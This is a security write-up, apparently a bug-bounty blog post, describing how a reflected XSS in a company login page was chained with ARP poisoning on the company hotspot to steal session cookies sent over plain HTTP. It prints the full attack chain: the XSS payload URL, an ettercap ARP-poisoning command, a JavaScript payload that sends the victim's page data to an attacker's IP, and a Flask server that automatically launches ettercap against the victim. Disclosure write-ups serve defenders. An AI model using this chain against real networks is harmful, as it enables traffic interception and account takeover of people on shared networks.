BOOK THIS SPACE FOR AD
ARTICLE ADThis scenario is applicable on environments where there is a hotspot(internet of the company) available for users and employees of that environment like airports or universities or internal network of companies and etc because the ARP poisoning attack is a network vulnerability from the deeper layers of TCP/IP network model (layer 2 to be exact) but XSS is from the application layer and a web based vulnerability and this combination of different layers is what makes this scenario very interesting.
And note that I found and exploited this scenario on a company but I will be referencing the domain of the company as redacted.tld throughout this write-up because of the confidentiality reasons even though this bug is fixed now.
An XSS vulnerability existed on http://login.redacted.tld/login, which could have been exploited by an attacker to target users connected to the hotspot of the company and logged into their Corporate System account with the intention of taking over their Corporate System account.
By tricking the victim into clicking a malicious link that had login.redacted.tld as its domain, the attacker retrieved the victim's internal IP address. Using this information, the attacker performed ARP poisoning to intercept the victim’s traffic.
Following the above procedure and using the same malicious link filled with an XSS payload, the attacker redirected the victim to a URL such as http://panel.redacted.tld/panel/<Valid Random Panel Number>, which was accessible over HTTP (unencrypted). Since the secure flag of the authentication cookie of the corporate system was not set (meaning it could be transmitted over unencrypted HTTP), the attacker captured the HTTP request during the redirect (because of the ARP poisoning) and extracted the victim’s authentication cookie.
Note that Valid Random Panel Number was the random number that the corporate system generated for its URL and renewed after some time. So the attacker had to replace this with the one that worked at the time of the exploit.
This flow starts after victim has clicked on the exploit link.
You will understand this flow better when you read the following sections and their code.
There was a hidden URL parameter named dst on http://login.redacted.tld/login, whose value got reflected in a script tag in the response of the HTTP request like below:
location.href = unescape('<dst PARAMETER VALUE>');By putting javascript schema and a javascript code like below as the value of this parameter, I could cause reflected XSS vulnerability:
dst=javascript:alert(origin)Any other JS code can be here instead of alert(origin).
So the final payload to trigger an XSS would be:
http://login.redactd.tld/login?dst=javascript:alert(origin)If the attacker’s device was in the same subnet of the victim, then by using the ettercap tool like below, the attacker could conduct the ARP poisoning and intercept the victim’s unencrypted traffic:
ettercap -T -S -i <NETWORK INTERFACE ****like ****en0> -M arp:remote /<ROUTER'S IP>// /<VICTIM'S IP>//Make sure to replace NETWORK INTERFACE, ROUTER'S IP and VICTIM'S IP parts in the above command if you want to test it out and be aware that Network Interface is the interface that the attacker will intercept the victim’s traffic on and Router’s IP is the same as Default Gateway.
The attacker compresses the following JavaScript code into a one-liner code, puts “javascript:” behind it, URL-encodes it, and puts it instead of the “alert(origin)” from the XSS section, then tricks a victim into clicking the malicious link which domain is login.redacted.tld:
let request = new XMLHttpRequest();request.onreadystatechange = function () {
if (request.readyState == 4) {
let myserver = new XMLHttpRequest();
myserver.open("POST", "http://<Attackr's IP>:8000/arp");
myserver.send(request.responseText);
myserver.onreadystatechange = function () {
if (myserver.readyState == 4) {
setTimeout(function() {
window.location.href = "http://panel.redacted.tld/panel/10178256414";
}, 1000);
}
};
}
};
request.open("GET", "http://login.redacted.tld/status");
request.withCredentials = true;
request.send();
Attacker should replace Attacker’s IP and the Valid Random Panel Number(10178256414 here is an example) mentioned in the overview section before compiling the exploit link
The attacker also brings up a web service like below code (coded with Flask framework of Python) that extracts victim’s IP from the response of the GET request to http://login.redacted.tld/status which is sent to it(”request” variable in the above JS code) and then does the ARP poisoning using the victim’s IP and after that the JS code above redirects the victim to http://panel.redacted.tld/panel/<Valid Random Panel number> so that an unencrypted(HTTP) request is made with authentication cookie in it using the victim’s device; Now the attacker can intercept the request to the panel because of the ARP poisoning and access the session cookie of the panel because the secure flag of the session cookie is false and as a result it can be sent over unencrypted traffic(HTTP):
from flask import Flask, requestimport subprocess
from bs4 import BeautifulSoup
app = Flask(__name__)
@app.route('/arp', methods=['POST'])
def arpP():
# Get the html_content sent with the POST request and extract the local IP address
html_content = request.get_data(as_text=True)
dom = BeautifulSoup(html_content, 'html.parser')
internal_ip_row = dom.find('td', string=lambda text: text and 'internal_IP' in text)
if internal_ip_row:
internal_ip = internal_ip_row.find_next_sibling('td').text
print(f"Internal IP: {internal_ip}")
else:
print("Internal IP row not found.")
command = ['sudo', 'ettercap', '-T', '-S', '-i', 'en0', '-M', 'arp:remote', '/<ROUTER IP>//', '/'+internal_ip+'//']
process = subprocess.Popen(
command,
stdout=subprocess.PIPE, # Capture the command's output (optional)
stderr=subprocess.PIPE, # Capture any error output (optional)
text=True # Get the output as text (string)
)
print("Ettercap is running in the background...")
return "ARP Poisening DONE", 200
@app.route('/test', methods=['GET'])
def test():
return "ALIVE!", 200
app = Flask(__name__)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Make sure to replace the ROUTER IP in the above code which is the same as default gateway.
Note that even if there was not a path like /status which returned the internal IP of the victim, the attacker could still acquire it using the request made from the victim to above code through XSS, because the IP of the sender of the request is available in the network packet and accessible by the receiver which is the above code.
Also pay attention that after having the victim’s IP, the ARP Poisoning alone is very dangerous because any unencrypted traffic that the victim sends or receives (For-example a file which is shared over FTP or HTTP protocols) can be seen and accessed by the attacker unless there is already a defense mechanism in place against ARP poisoning.
I think now you can see why this scenario is very likely in airports and universities where many different users with different access levels are connected to the internet hotspot or in the internal networks of companies or even public WIFIs.
If you have any further questions about this write-up, I’d be happy to chat in the comment section 😄. I’d also be happy to connect on Linkedin.